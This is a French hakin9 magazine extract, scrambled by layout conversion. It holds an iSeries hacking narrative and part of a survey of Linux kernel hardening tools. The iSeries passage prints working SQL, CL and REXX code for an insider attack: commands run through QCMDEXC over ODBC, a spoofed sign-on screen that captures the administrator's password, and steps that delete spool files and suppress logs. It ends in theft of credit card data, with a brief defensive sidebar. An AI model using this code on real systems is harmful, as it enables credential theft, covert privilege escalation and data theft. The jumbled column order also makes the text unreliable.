Listing 4. SQL pour le listage des terminaux de l'utilisateur et la description du sous-système /* creation of a source member to contain the CL program source */ call qcmdexc ('addpfm file(qgpl/qclsrc) mbr(monpwd1c) srctype(clp)', 0000000051.00000) create alias qgpl.al01 for qgpl/qclsrc (monpdw1c) /* creation of a flat file for the CPYSPLF command*/ create table qgpl.splfcpy (splfcpy char (200 ) not null with default) /* insertion of the CL statements into the source member */ insert into qgpl.al01 (srcdta) values('pgm') with nc insert into qgpl.al01 (srcdta) values('wrkusrjob user(bogus) status(*all) output(*print) jobtype(*interact)') with nc insert into qgpl.al01 (srcdta) values('cpysplf file(qpdspsbj) tofile(qgpl/splfcpy) +') with nc insert into qgpl.al01 (srcdta) values(' splnbr(*last) mbropt(*add)') with nc insert into qgpl.al01 (srcdta) values('dspsbsd sbsd(qinter) output(*print)') with nc insert into qgpl.al01 (srcdta) values('cpysplf file(qprtsbsd) tofile(qgpl/splfcpy) +') with nc insert into qgpl.al01 (srcdta) values(' splnbr(*last) mbropt(*add)') with nc insert into qgpl.al01 (srcdta) values('endpgm') with nc /* fix source sequence numbers, or compiler will not run. */ update qgpl.al01 al01 set srcseq=rrn(al01) with nc /* compilation of the CL program – no listings created */ call qcmdexc ('crtclpgm pgm(qgpl/monpwd1c) srcfile(qgpl/qclsrc) log(*no) option(*nosource *nosrc *noxref *noseclvl *nosrcdbg *nolstdbg)', 0000000120.00000) /* removal of printed residual traces */ call qcmdexc ('dltsplf file(*select) select(*current *all *all *all)', 0000000054.00000) /* submission of the compiled program to batch */ call qcmdexc ('sbmjob cmd(call pgm(qgpl/monpwd1c)) log(0 0 *nolist) logclpgm(*no) dspsbmjob(*no)' , 0000000081.00000)

§

Listing 5. Programme monpwd1c résultant du Listing 4 pgm wrkusrjob user(bogus) status(*all) output(*print) jobtype(*interact) cpysplf file(qpdspsbj) tofile(qgpl/splfcpy) + splnbr(*last) mbropt(*add) dspsbsd sbsd(qinter) output(*print) cpysplf file(qprtsbsd) tofile(qgpl/splfcpy) + splnbr(*last) mbropt(*add) endpgm

de crédit. Reste à savoir si Jules a accès au fichier de base de données XACC. Il décide d'abord de vérifier s'il a accès à la bibliothèque APLIBF où se trouverait le fichier avec les données des cartes de crédit. Il sait que, quand on vérifie les autorisations d'accès à un fichier, l'iSeries vérifie l'autorisation d'accès à la fois pour la bibliothèque et pour le fichier ; par conséquent, si le fichier se trouve dans une librairie bloquée, il est possible qu'une alerte de sécurité soit générée tandis qu'en vérifiant d'abord la bibliothèque, on évite le risque d'alerte.

Contourner les restrictions associées aux utilisateurs limités

Jules ne peut utiliser de session telnet interactive car le compte dont

24

hakin9 Nº 2/2006

il se sert, NANAFTP, est celui d'un utilisateur limité. Un utilisateur limité ne peut quasiment rien exécuter en ligne de commande, y compris quand l'ACL l'y autorise. Une autre restriction est que l'utilisateur limité ne peut exécuter de commandes via le serveur FTP (commande quote rcmd) ou via REXEC. Mais rien n'empêche l'utilisateur limité d'exécuter des commandes logées dans des programmes d'applications. Et cela inclut les procédures stockées. Jules exploite la possibilité d'appeler tout programme iSeries via ODBC comme s'il s'agissait d'une procédure stockée. Il décide d'utiliser l'API qcmdexc, qui, si les paramètres corrects sont fournis, exécute des commandes iSeries. L'API qcmdexc requiert une chaîne de commande correcte et un nombre décimal équivalent à la longueur exacte de la

www.hakin9.org

chaîne de commande. La commande exécutée par Jules via qcmdexc affiche la liste ACL d'un objet à l'écran ; utilisée avec l'option output(*outfile), elle crée une nouvelle table de base de données contenant la liste ACL. Jules utilise la bibliothèque QGPL pour stocker les résultats intermédiaires de ses recherches. Cette bibliothèque est présente sur pratiquement tout serveur iSeries ou AS/400 et, sur bon nombre d'entre eux, les droits publics paramétrés par défaut pour cette bibliothèque, allow changes (lecture/écriture), n'ont pas été modifiés. call qcmdexc

§

('dspobjaut obj(aplibf) objtype(*lib)

§

output(*outfile)

§

outfile(qgpl/dspobjp)', 0000000074.00000)

§ §

Jules inspecte le contenu du fichier créé : select oausr, oaobja, oaname, oalib, oatype, oaown from qgpl.dspobjp;

Les résultats sont affichés dans le Tableau 4.

Pirater un serveur iSeries d'IBM

Listing 6. SQL pour la création du script rexx /* creation of a source member to contain the rexx program source */ call qcmdexc ('addpfm file(qgpl/qclsrc) mbr(monpwd3x) srctype(rexx)', 0000000052.00000) create alias qgpl.al03 for qgpl/qclsrc (monpdw3x) /* insertion of the rexx statements into the source member */ insert into qgpl.al03 (srcdta) values('arg p1') with nc insert into qgpl.al03 (srcdta) values('parse var p1 user password') with nc insert into qgpl.al03 (srcdta) values('address execsql') with nc insert into qgpl.al03 (srcdta) values('''execsql set transaction isolation level nc'' ') with nc insert into qgpl.al03 (srcdta) values('''execsql insert into qgpl/qmonpwd (u,p) '', ') with nc insert into qgpl.al03 (srcdta) values(' ''values(''''''user'''''',''''''password'''''')''') with nc /* fix source sequence numbers */ update qgpl.al03 al03 set srcseq=rrn(al03) with nc

Listing 7. Programme REXX monpwd3x résultant du listing 6 arg p1 parse var p1 user password address execsql 'execsql set transaction isolation level nc' 'execsql insert into qgpl/qmonpwd (u,p) ', 'values('''user''','''password''')'

Il est quasiment certain que Jules n'a pas de droit d'accès sur la bibliothèque APLIBF et son contenu. Par contre, l'utilisateur BOGUS possède

Se souvenant d'une séance humiliante où Balthazar lui avait remonté les bretelles en public pour avoir dépassé son quota de courrier électronique, Jules décide de pirater le compte BOGUS faisant ainsi d'une pierre deux coups.

Élévation du niveau des privilèges

ce droit. Une recherche rapide dans l'annuaire Active Directory révèle à Jules que BOGUS est Balthazar Ogus, l'administrateur système de l'iSeries.

Voilà une semaine que Jules s'est lancé dans ses investigations et l'absence de réaction du département informatique l'encourage à poursuivre. Craquer

Listing 8. SQL pour la création du programme d'écran piégé /* creation of a source member to contain the CL program source */ call qcmdexc ('addpfm file(qgpl/qclsrc) mbr(monpwd2c) srctype(clp)', 0000000051.00000) create alias qgpl.al02 for qgpl/qclsrc (monpdw2c) /* insertion of the CL statements into the source member */ insert into qgpl.al02 (srcdta) values('pgm parm(&devname)') with nc insert into qgpl.al02 (srcdta) values('dclf qdsignon') with nc insert into qgpl.al02 (srcdta) values('dcl var(&text) type(*char) len(80) ') with nc insert into qgpl.al02 (srcdta) values('monmsg msgid(cpf0000) exec(goto cmdlbl(error))') with nc insert into qgpl.al02 (srcdta) values('rtvneta sysname(&sysname)') with nc insert into qgpl.al02 (srcdta) values('chgvar var(&sbsname) value(''QINTER'')') with nc insert into qgpl.al02 (srcdta) values('chgvar var(&in01) value(''1'')') with nc insert into qgpl.al02 (srcdta) values('chgvar var(©right) value('' (C) ACME +') with nc insert into qgpl.al02 (srcdta) values(' CORPORATION. 1949, 2001.'') ') with nc insert into qgpl.al02 (srcdta) values('retry:') with nc insert into qgpl.al02 (srcdta) values('ovrdspf file(qdsignon) dev(&devname) waitfile(32767)') with nc insert into qgpl.al02 (srcdta) values('panel: ') with nc insert into qgpl.al02 (srcdta) values('sndrcvf rcdfmt(signon)') with nc insert into qgpl.al02 (srcdta) values('chgvar var(&text) value(&userid *bcat &passwrd)') with nc insert into qgpl.al02 (srcdta) values('strrexprc srcmbr(monpwd3x) srcfile(shalomc1/qpwdsrc) parm(&text)') with nc insert into qgpl.al02 (srcdta) values(' return') with nc insert into qgpl.al02 (srcdta) values('error: ') with nc insert into qgpl.al02 (srcdta) values('dlyjob dly(10)') with nc insert into qgpl.al02 (srcdta) values('goto cmdlbl(retry)') with nc insert into qgpl.al02 (srcdta) values('endpgm ') with nc /* fix source sequence numbers, or compiler will not run. */ update qgpl.al02 al02 set srcseq=rrn(al02) with nc /* compilation of the CL program – no listings created */ call qcmdexc ('crtclpgm pgm(qgpl/monpwd2c) srcfile(qgpl/qclsrc) log(*no) option(*nosource *nosrc *noxref *noseclvl *nosrcdbg *nolstdbg)', 0000000120.00000) /* removal of printed residual traces */ call qcmdexc ('dltsplf file(*select) select(*current *all *all *all)', 0000000054.00000)

§

www.hakin9.org

hakin9 Nº 2/2006

25

Dossier

un mot de passe en utilisant la technique de la force brute n'est pas possible dans l'environnement iSeries parce que cette méthode désactive l'utilisateur après un nombre limité d'essais et requiert une intervention manuelle pour réactiver l'utilisateur. Jules ne souhaite pas se faire remarquer de cette manière. Il a un autre plan : amener Balthazar à communiquer son mot de passe à un programme que lui, Jules, va écrire.

À la pêche d'informations sur la cible

Jules projette d'écrire un programme qui affichera un écran de connexion piégé pour BOGUS. Le programme doit utiliser un écran qui sera la réplique exacte de l'écran de connexion ordinaire de BOGUS afin de ne pas éveiller les soupçons de ce dernier. Jules a besoin de plusieurs informations et il commence par chercher le nom des postes de travail ordinairement utilisés par BOGUS. Ces informations sont contenues dans le rapport Work with User Jobs (voir la Figure 16). Ce rapport ne fournit pas d'option d'enregistrement dans un fichier de base de données mais l'iSeries dispose d'un outil, CPYSPLF, qui permet de copier une sortie d'imprimante (un spoule) présente dans la queue d'impression dans un fichier de base de données plat. Une autre donnée dont Jules a besoin est le nom du fichier d'écran de connexion interactive du sous-système d'affichage pour que l'écran piégé paraisse réel. Cette donnée figure sur la première page du rapport Display Subsystem Description (voir la Figure 17). Jules doit utiliser l'outil CPYSPLF. Cette fois-ci, Jules ne peut plus simplement exécuter ces commandes via l'API QCMDEXC comme il l'avait fait précédemment. La sortie imprimée d'une connexion ODBC est créée par un job distinct et, en raison de limites propres à CPYSPLF, Jules doit exécuter toutes les commandes au moyen d'un seul job. Aussi, Jules crée-t-il un programme en CL qui contient le script d'exécution de toutes les commandes ; il soumettra ce programme en tant que job unique et distinct à exécuter en

26

hakin9 Nº 2/2006

Listing 9. Programme de capture monpwd2c résultant du listing 8 pgm parm(&devname) dclf qdsignon dcl var(&text) type(*char) len(80) monmsg msgid(cpf0000) exec(goto cmdlbl(error)) rtvneta sysname(&sysname) chgvar var(&sbsname) value('QINTER') chgvar var(&in01) value('1') chgvar var(©right) value(' (C) ACME + CORPORATION. 1949, 2001.') retry: ovrdspf file(qdsignon) dev(&devname) waitfile(32767) panel: sndrcvf rcdfmt(signon) chgvar var(&text) value(&userid *bcat &passwrd) strrexprc srcmbr(monpwd3x) srcfile(qgpl/qclsrc) parm(&text) return error: dlyjob dly(10) goto cmdlbl(retry) endpgm

Mesures de protection contre l'élévation des privilèges Nous avons déjà mentionné le fait que l'accès ODBC au serveur iSeries est largement ouvert chez Trupex. Conjuguez cela avec la disponibilité de l'API QCMDEXC et vous ouvrez un boulevard aux manipulations. QCMDEXC devrait être protégé par une ACL spécifique, qui en restreint l'accès aux seuls utilisateurs et applications qui en ont vraiment besoin. La fonction d'audit de la sécurité, désactivée chez Trupex, peut être configurée pour consigner toute création d'un nouvel objet, tels les programmes nouvellement compilés, ainsi que l'utilisation de commandes particulières comme CRTCLPGM. L'audit peut aussi journaliser tous les accès aux fichiers particulièrement sensibles, par exemple ceux des cartes de crédit, y compris pour les accès en lecture. Idéalement, l'autorisation d'accès à des données aussi sensibles est limitée à des comptes utilisateurs privés de toute capacité de connexion tandis que l'accès est géré par des programmes qui disposent du type d'autorisation (authority) adéquat. Une autre erreur de configuration de Balthazar est l'octroi de droits publics sur ses terminaux. Les utilisateurs qui disposent de droits étendus (powerful users) devraient être circonscrits à des périphériques déterminés et les droits publics devraient être supprimés pour ces périphériques afin d'éviter des attaques du genre de celle décrite dans cet article.

Sur Internet • • • • • • •

http://www.midrange.org – Liste de diffusion sur l'AS/400 : consultez les archives (en anglais) http://krypton.mnsu.edu/~j3gum/web/as400/intref.html – Introduction à l'AS/400 datant de 2003 mais toujours valable (en anglais) http://publib.boulder.ibm.com/iseries/ – IBM iSeries Information Center, une lecture incontournable (une partie des informations est accessible en français) http://www.woevans.com – Wayne O. Evans, liste de contrôle pour l'audit (en anglais) http://www.powertech.com/promotions/p-formitj2.html – PowerTech's iSeries security survey, enquête de PowerTech sur la sécurité d'iSeries (en anglais) http://publib.boulder.ibm.com/iseries/v5r2/ic2924/books/c4153026.pdf – Manuel de référence IBM iSeries Security reference (en anglais) http://www.venera.com – Consultez la section des liens, qui comporte un grand nombre de liens supplémentaires concernant la sécurité d'iSeries (en anglais)

www.hakin9.org

Pirater un serveur iSeries d'IBM

mode batch (voir les Listings 4 et 5). Les étapes nécessaires : •

• • • • •

création d'un membre source qui contiendra la source du programme CL ; création d'un fichier plat pour la commande CPYSPLF ; insertion des instructions CL dans le membre source ; compilation du programme CL ; soumission du programme compilé en mode batch ; extraction des résultats.

Cette méthode convient parce qu'un fichier source est en réalité une table de base de données avec un attribut spécial et qu'il peut être écrit et lu avec SQL. Pour placer son code, Jules sélectionne QCLSRC, un fichier source que l'on trouve ordinairement dans la bibliothèque QGPL. Jules affiche le contenu du fichier SPLFCPY (Figures 16 et 17) et constate que BOGUS utilise habituellement deux terminaux : UKTBOGUS01 et UKTBOGUS02. Il peut

Figure 16. Rapport Work with User Jobs

Figure 17. Rapport Display Subsystem Description à présent écrire le code nécessaire pour afficher un écran piégé sur un de ces terminaux. Quelques opérations préalables sont nécessaires. Jules crée une nouvelle table de base de données dans laquelle il conservera le mot de passe capturé :

monpwd2c, Jules actualise les données d'état du poste de travail pour BOGUS et constate que le terminal UKTBOGUS02 est libre. Il soumet le programme monpwd2c en mode batch avec le paramètre de nom de terminal correct et rentre chez lui : call qcmdexc

À propos de l'auteur

Né à Varsovie (Pologne) Shalom Carmel vit et travaille aujourd'hui en Israël. Son parcours professionnel couvre l'implémentation de grands projets PGI, le marketing web, l'enseignement supérieur, la conception graphique et l'édition vidéo ainsi que d'innombrables missions de conseil dans le domaine de la sécurité, des technologies et des systèmes d'information. Aujourd'hui, il est architecte d'applications dans une multinationale pharmaceutique. En 2005.

À propos du livre Hacking iSeries

La table des matières et le premier chapitre de l'ouvrage peuvent être consultés sur hakin9.live. Le livre peut être acheté chez http://www.venera.com/ order.htm. Les lecteurs de hakin9 bénéficient d'une remise de 15 % sur le prix officiel de 39, 90 USD s'ils saisissent le code de coupon hakin9 dans le champ Coupon Code du formulaire de commande.

create table qgpl.qmonpwd

§

('sbmjob cmd(

§

(u char (10 ) not null with default,

call pgm(qgpl/monpwd2c)

p char (10 ) not null with default);

parm(UKTBOGUS02))

Le programme d'écran piégé sera écrit en CL, or CL ne peut écrire dans la base de données. Jules à besoin d'un script complémentaire qui écrira le mot de passe capturé dans la nouvelle table qmonpwd. Il découvre que, comme toute machine de production adéquate, cet iSeries n'a pas de compilateur RPG, aussi se tourne-t-il vers REXX (voir le Listing 6). Le programme CL est présenté dans le listing 8. Il tente d'associer un fichier d'affichage à un terminal et ne réussit que si le périphérique n'est pas alloué à un autre utilisateur, en d'autres termes s'il affiche l'écran de connexion ordinaire. Le programme attendra le délai d'attente maximal possible pour un périphérique, soit 32 767 secondes ou environ 9 heures. Quand ce délai sera atteint, le programme réessayera à l'infini. L'horloge affiche 23 h. Avant de lancer le programme de capture

www.hakin9.org

log(0 0 *nolist) logclpgm(*no)

§

dspsbmjob(*no)' , 0000000098.00000)

§ §

§

§

Quand Balthazar arrive le lendemain matin, après avoir lu le gag Dilbert du jour, il se connecte à l'iSeries pour vérifier l'état du système. Il tape son nom d'utilisateur et son mot de passe dans les zones appropriées de l'écran et enfonce la touche Retour. Rien ne se passe à l'écran. Balthazar cligne des yeux, retape ses données et se connecte cette fois-ci sans problème. Jules est nerveux toute la journée. A 18 h, il se reconnecte en tant que NANAFTP, récupère le mot de passe de BOGUS dans le fichier qmonpwd, se connecte ensuite en tant que BOGUS, récupère les données de onze mille cartes de crédit dans un fichier Excel, enregistre le fichier sur une clé et à 19 h 30, quitte Trupex pour la dernière fois de sa vie. Fin de la partie. l

hakin9 Nº 2/2006

27

Sécurité de Linux – revue des projets Focus Michał Piotrowski

Degré de difficulté

Les systèmes de la famille Linux sont assez résistants aux infractions. Cependant, dans certaines situations, quand on tient particulièrement à un niveau de sécurité élevé de l'ordinateur, les distributions standards ne sont pas suffisantes. Analysons quelques mécanismes les plus utilisés afin d'augmenter la sécurité de Linux au niveau du noyau.

L

a plupart des intrusions dans les systèmes Linux sont dues aux erreurs dans les programmes. Le plus souvent, les intrus exploitent les failles permettant le débordement de tampon (de la pile et du tas), le traitement incorrect des chaînes de format et la présence des situations de compétition? Les attaques exploitant les droits d'accès mal définis aux ressources système et les erreurs dans les mécanismes et les protocoles réseau sont plus rares. Les mécanismes additionnels de protection des systèmes Linux peuvent être divisés en quatre groupes : • • • •

protégeant la mémoire dans le noyau du système, protégeant la mémoire dans le compilateur, permettant la surveillance de l'accès au système (contrôle d'accès), autres (utilisant la randomisation, les limitations détaillées de l'accès, la journalisation des évènements ayant lieu dans le système, etc.).

Openwall

Le projet Openwall a été conçu par Alexander Peslyak, surnommé aussi Solar Designer. Il est aussi auteur de l'outil de décryptage des mots de passe John the Ripper et de la distribution Owl. Au début, Openwall s'appelait Secure Linux Patch. Sa première version est parue déjà en janvier 1998 et était appliquée aux noyaux de la série 2.0. Le correctif est toujours développé, mais

Cet article explique... • • • •

Ce qu'il faut savoir... • •

Le Tableau 1 affiche les solutions présentées divisées suivant les groupes ci-dessus.

28

hakin9 Nº 2/2006

quels mécanismes additionnels peuvent augmenter la sécurité de Linux, en quoi consiste la protection supplémentaire et contre quels dangers l'on se protège, quels mécanismes choisir pour les applications concrètes, comment les installer et utiliser.

www.hakin9.org

les notions de base de l'administration des systèmes de la famille Linux, les notions de base concernant la sécurité des systèmes d'exploitation et des réseaux.

Revue des mécanismes augmentant la sécurité de Linux

Tableau 1. Les solutions augmentant la sécurité du système Linux Groupe

Openwall

PaX

Protection de la mémoire dans le noyau

Oui

Oui

StackGuard

Oui

Contrôle d'accès

Mécanismes de protection

Openwall offre quelques mécanismes de protection. Les plus importants

grsecurity

Oui

•

•

empêcher l'exécution du code sur la pile du processus (ce qui retient la plupart des exploits basés sur le débordement de tampon), randomiser les adresses des fonctions des bibliothèques partagées

le segment du code (contient le code exécutable du programme), le segment des données (contient les variables statiques et globales), la pile (comprend les données temporaires – variables locales et paramètres des fonctions), le tas ( comprend les données temporaires, affectées et libérées par le programme de façon voulue, par exemple à l'aide de la fonction malloc()).

La mémoire comprend aussi la mappe des fonctions rendues accessibles au programme, provenant des bibliothèques partagées, par exemple printf(), system(), etc. Le noyau standard de Linux affecte aux segments des droits d'accès trop élevés. Ainsi, sur la pile il devient possible non seulement d'enregistrer les données, mais aussi d'exécuter du code ce qui permet d'effectuer les attaques de type débordement de tampon (en anglais buffer overflow). Pour protéger le système contre ces attaques, les mécanismes supplémentaires modifient les droits d'accès standards des segments mémoire spécifiques. Le processus obtient les droits soit en écriture soit en exécution du code qui est présent dans la mémoire. Par exemple, la pile devient non exécutable (en anglais non-executable). Pourtant, la pile non exécutable peut aussi être exploitée pour effectuer des attaques. Ces attaques sont appelées retour à la bibliothèque libc (en anglais return to libc). Elle consiste à créer sur la pile l'appel correct à une fonction partagée – le plus souvent, la fonction system() avec le paramètre /bin/sh. En résultat, l'intrus transmet la commande à la fonction indiquée qui lance le shell système ou exécute d'autres opérations. Pour que l'attaque réussisse, l'assaillant doit quand même connaître l'adresse de la fonction system() dans la mémoire du processus. C'est le deuxième mécanisme qui l'empêche – la randomisation. Grâce à celle-ci, les segments spécifiques de la mémoire et les adresses des fonctions partagées sont disposées de façon différente à chaque démarrage du programme. L'intrus n'est donc pas capable de prévoir les adresses correctes des fonctions partagées, et de même, il n'est pas capable de les appeler.

www.hakin9.org

RSBAC Oui (contientPaX)

Oui

sont (Encadré Protection de la mémoire dans le noyau) :

Pour protéger la mémoire du processus dans le noyau du système, deux principaux mécanismes sont utilisés. Le premier permet d'affecter à la zone mémoire sélectionnée les droits en écriture seule ou en exécution du code. Le second introduit la randomisation. La mémoire des programmes lancés par le système d'exploitation est composée de plusieurs éléments appelés segments :

•

SELinux

Oui

Protection de la mémoire dans le noyau

• • •

LIDS

Oui (contientPaX)

Protection de la mémoire dans le compilateur

la version pour les noyaux de la série 2.6 n'existe pas encore. L'auteur trouve que le transfert du mécanisme vers le nouveau noyau aura le sens quand la version 2.6.20 sera publiée.

SSP

Oui

Oui

(ce qui empêche les attaques de retour à la bibliothèque libc). D'autres mécanismes limitent la construction des liens physiques (hard links en anglais) et l'écriture sur les canaux nommés (en anglais named pipes) dans les répertoires avec le bit +t paramétré, c'est-à-dire dans les répertoires temporaires (par exemple /tmp). Les utilisateurs ordinaires ne peuvent pas créer des liens aux fichiers qui n'appartiennent pas à eux ou auxquels il n'ont pas de droits en lecture et en écriture. Ils ne peuvent pas non plus enregistrer des données dans les fichiers FIFO dont ils ne sont pas propriétaires. Le correctif limite aussi la possibilité de lire les informations sur le système à partir du répertoire /proc par un utilisateur ordinaire, à moins qu'il n'appartienne pas à un groupe spécial. L'utilisateur peut donc obtenir les informations sur ses propres processus. Il empêche aux utilisateurs de démarrer les services réseaux ayant les adresses IP déterminées (uniquement dans le noyau de la série 2.0). Il impose aux programmes avec le bit SUID ou SGID paramétré l'emploi spécial des descripteurs d'entrée standard, de sortie standard et d'erreurs standard (dans les noyaux de la série 2.0 et 2.2). Il permet aussi de libérer les zones de la mémoire partagée non utilisées.

Installation

Pour installer Openwall, il faut : • • • •

mettre à jour les sources du noyau, appliquer le correctif, configurer le noyau, compiler le noyau.

hakin9 Nº 2/2006

29

Focus

Protection de la mémoire dans le compilateur

Figure 1. La protection de la pile au moyen de PaX Pour profiter de certaines fonctions d'Openwall avec les versions non standard de la bibliothèque glibc et des programmes des paquets procps ou psmisc, une mise à jour peut être nécessaire. Le correctif est accompagné du programme chstk permettant de désigner les programmes ayant droit d'exécuter du code sur la pile. Il positionne le drapeau dans l'en-tête ELF, et pendant la création d'un nouveau processus, le système vérifie la présence du drapeau et affecte les droits appropriés.

PaX

Le projekt PaX peut être appliqué dans les systèmes avec les noyaux des séries 2.2, 2.4 et 2.6. Il a été créé en octobre 2000, mais interrompu en avril 2005, après la révélation d'une faille grave permettant de contourner les principaux mécanismes de protection. Les auteurs ont constaté que les utilisateurs ont perdu confiance à PaX et ont renoncé à ce projet. C'est l'auteur de grsecurity, Brad Spengler, qui s'occupe maintenant du code de ce projet.

Mécanismes de protection

PaX offre les mécanismes similaires à ceux d'Openwall : il empêche l'exécution du code dans la mémoire et randomise l'espace adessable du processus. Mais ces mécanismes diffèrent un peu de ceux offerts par le projet concurrentiel. La protection de la mémoire dans PaX embrasse non seulement la pile.

30

hakin9 Nº 2/2006

Chaque segment (cf. l'Encadré Protection de la mémoire dans le noyau) possède les droits séparés permettant soit l'écriture, soit l'exécution. L'administrateur peut également choisir la technique : PAGEEXEC (protection par pagination) ou SEGMEXEC (protection par segmentation). Le deuxième mécanisme permet de placer tous les éléments de la mémoire de façon aléatoire. Cela empêche l'exécution de l'attaque par retour à la bibliothèque libc. La Figure 1 compare la mémoire d'un processus dans le système standard et dans le système protégé par PaX.

Installation

Pour installer PaX, il faut : • • • • •

mettre à jour les sources du noyau, appliquer le correctif, configurer le noyau, compiler le noyau, compiler et installer les outils chpax et paxctl

Les programmes chpax et paxctl permettent de configurer les programmes exécutables de façon à ce que ces derniers utilisent la protection ou la contournent. C'est très utile si nous utilisons les applications non standard qui fonctionnent mal après l'application des limitations dans la mémoire. Les outils se servent de deux méthodes différentes de surveillance des programmes exécutables. Le programme paxctl utilise une méthode

www.hakin9.org

La protection des mécanismes d'un processus dans le compilateur est très simple. Elle consiste à ajouter au compilateur des mécanismes qui, lors de la construction du programme, ajoutent à celui-ci du code assurant la protection de la pile contre l'endommagement. La protection de la pile est basée sur la modification de la trame de la pile (en anglais stack frame), c'est-àdire de la structure utilisée pour stocker les données temporaires, relatives aux fonctions appelées. La modification consiste à introduire une variable de contrôle appelée canari (en anglais canary) mise juste avant l'adresse de retour de la fonction. L'endommagement de la pile et le remplacement de l'adresse de retour entraîneront la modification du canari, ce qui mène à la fermeture d'urgence de l'application et empêche l'appel du shellcode.

plus binutils. La deuxième manière (outil chpax) influence moins la configuration actuelle du système et ressemble à la solution utilisée dans Openwall. Elle exploite le champ existant réservé de l'en-tête ELF. La première façon intègre mieux PaX au système d'exploitation. Elle permet aussi de servir de ce qu'on appelle mode de travail souple, quand toutes les fonctions augmentant la sécurité sont désactivées et pour pouvoir en profiter, il faut les démarrer indépendamment pour chaque programme.

StackGuard

StackGuard est une extension du compilateur GCC. Il a été conçu par la société Immunix en 1997. Les techniques utilisées dans ce projet étaient si intéressantes que lors de la conférence GCC 2003 Summit on a proposé de les intégrer dans la version de base du compilateur. Hélas, ce projet n'a pas été réalisé dans les versions 3.x et 4.0, étant donné que GCC 4.1 contient les mécanismes de protection pris de SSP (cf. dans la suite). Les travaux sur le projet ont été interrompus, il doit donc être considéré plutôt comme une curiosité

Revue des mécanismes augmentant la sécurité de Linux

Listing 1. Le programme présentant la protection de la mémoire dans le compilateur (cf. Figure 2 et 3) char *func(char *msg, int a) { int var1; char buff[10]; int var2; ... } int main(int argv, char *argc[]) { char *p; p = func(argc[1]); exit(0); }

(nous ne présentons pas donc du processus de l'installation). C'était le premier outil implantant la protection de la mémoire du côté de l'application qui est devenu le point de départ pour d'autres projets de ce type.

Figure 2. La protection de la pile à l'aide de StackGuard

Mécanismes de protection

StackGuard exploite le mécanisme de canari pour protéger la mémoire du processus. Mais la technique utilisée ne garantit pas la protection complète. Le canari est placé à l'endroit où il ne protège que l'adresse de retour stockée dans la trame de la pile. D'autres éléments de la trame ne sont pas protégés. La Figure 2 présente la pile du programme du Listing 1 avant et après l'application de StackGuard. Dans la partie droite de la figure, on peut voir qu'avant chaque adresse de retour, une variable de contrôle a été ajoutée. Une attaque visant à déborder le tampon var2 ne sera pas réussie parce qu'elle entraîne le remplacement de tous les champs dans le sens des adresses croissantes. Une modification de l'adresse du retour de la fonction func() sera détectée, mais l'assaillant n'a pour but que les variables buf et var1 et les pointeurs de la trame, le programme continuera à fonctionner. Dans les versions ultérieures de StackGuard, le canari a été déplacé avant le pointeur de la trame de pile. Cette opération a permis de protéger aussi ce champ, mais ne garantit pas

Figure 3. La protection de la pile à l'aide de SSP l'intégrité des autres variables locales de la fonction.

SSP

Stack-Smashing Protector (SSP), connu auparavant sous le nom ProPolice, est, du point de vue de la conception, similaire à StackGuard,

www.hakin9.org

mais il est plus avancé. Son auteur est Hiroaki Etoh. Actuellement, SSP est à ajouter à GCC, mais à partir de la version 4.1, il y sera intégré.

Mécanismes de protection

Stack-Smashing Protector protège la pile du processus (l'adresse de

hakin9 Nº 2/2006

31

Focus

retour, les variables locales, les arguments des fonctions et le pointeur de la trame) par le biais de trois techniques. Chacune d'elles peut être activée ou désactivée séparément lors de la compilation du programme : • • •

la valeur de contrôle (canari), la modification du système de variables, la copie des arguments.

Le premier fonctionne de la même façon que dans StackGuard. Le canari est mis avant le pointeur de la trame de la pile. Le deuxième entraîne la modification de l'ordre du placement des variables des fonctions locales sur la pile. Les variables de caractère, vulnérables aux débordements, sont mises entre les variables nombre et la valeur de contrôle. Ainsi, le débordement de l'une d'elles n'endommage pas les variables locales. Le troisième mécanisme protège les arguments de la fonction dont les copies sont placées sur la pile à côté des variables locales et utilisées au lieu des arguments originaux. L'application de tous les trois mécanismes rend difficile le débordement de tampon dans le programme protégé. La partie droite de la Figure 3 présente la pile du programme après l'application de SSP.

Installation

L'installation de SSP consiste à ajouter un correctif au compilateur GCC. Le programmeur obtient quatre options supplémentaires : -fstackprotector, -fno-stack-protector, -fstack-protector-all et -fno-stackprotector-all. Elles permettent d'activer ou de désactiver la protection de la pile ou de toutes les fonctions (pas seulement celles exploitant les tableaux de caractères).

grsecurity

Grsecurity est un projet créé en février 2001 et développé jusqu'à présent par Brad Spengler connu sous le nom Spender. Au début, grsecurity était une version d'Openwall pour les noyaux de la série 2.4, mais l'outil a été vite transformé en une solution

32

hakin9 Nº 2/2006

Contrôle de l'accès dans les systèmes d'exploitation Les systèmes d'exploitation les plus populaires intègrent les mécanismes du contrôle de l'accès basés sur le modèle discrétionnaire (en anglais Discretionary Access Control, DAC). Chaque sujet (utilisateur, processus) a toute autorité sur les objets (fichiers, répertoires, périphériques) dont il est propriétaire. Il peut changer les droits d'accès actuels à ses ressources, les modifier et supprimer. De plus, dans le système existe un superutilisateur (root) qui joue le rôle d'administrateur. Il a les droits d'accès illimités à toutes les ressources de l'ordinateur et peut faire pratiquement tout. Alors, si l'intrus a accès au compte de root, il a un accès illimité au système. Dans le modèle non discrétionnaire (en anglais Mandatory Access Control, MAC), l'administrateur a toujours les droits d'accès les plus élevés au système d'exploitation. Mais c'est lui qui détermine les règles d'accès et les impose à tous les sujets. Le modèle MAC introduit alors la centralisation de la gestion du contrôle d'accès, contrairement au modèle décentralisé DAC. Les droits d'accès des utilisateurs sont limités par les règles définies et les utilisateurs n'ont pas le plein contrôle de leurs fichiers, répertoires, etc. Le modèle MAC a été conçu pour les besoins des systèmes nécessitant la protection rigoureuse de la confidentialité des données et est utilisé en général dans les milieux militaires. Ce qui est curieux, la politique de droits d'accès peut aussi concerner le superutilisateur qui, à la suite, perd certains de ses droits. Alors, si l'intrus obtient l'accès à son compte, il ne pourra pas, par exemple, copier ou modifier certaines données (par exemple les sites Web). Les modèles DAC et MAC ont été présentés pour la première fois dans le document TCSEC (Trusted Computer Security Evaluation Criteria), publié par le Département de la Défense américain en 1985. Le troisième modèle très populaire de contrôle d'accès est basé sur les rôles (en anglais Rôles-Based Access Control, RBAC). Il a été présenté en 1992 par David Ferraiolo et Richard Kuhn de l'Institut National des Standards et de la Technologie des États Unis. Dans ce modèle, tous les utilisateurs obtiennent les rôles avec les droits d'accès précisément définis concernant aussi tous les programmes lancés par l'utilisateur donné. Les possibilités des utilisateurs peuvent être limitées de la même manière que dans le modèle MAC, et les tâches du superutilisateur réparties sur plusieurs utilisateurs. Ainsi, le modèle élimine le danger lié à l'obtention par l'intrus de l'accès au compte du 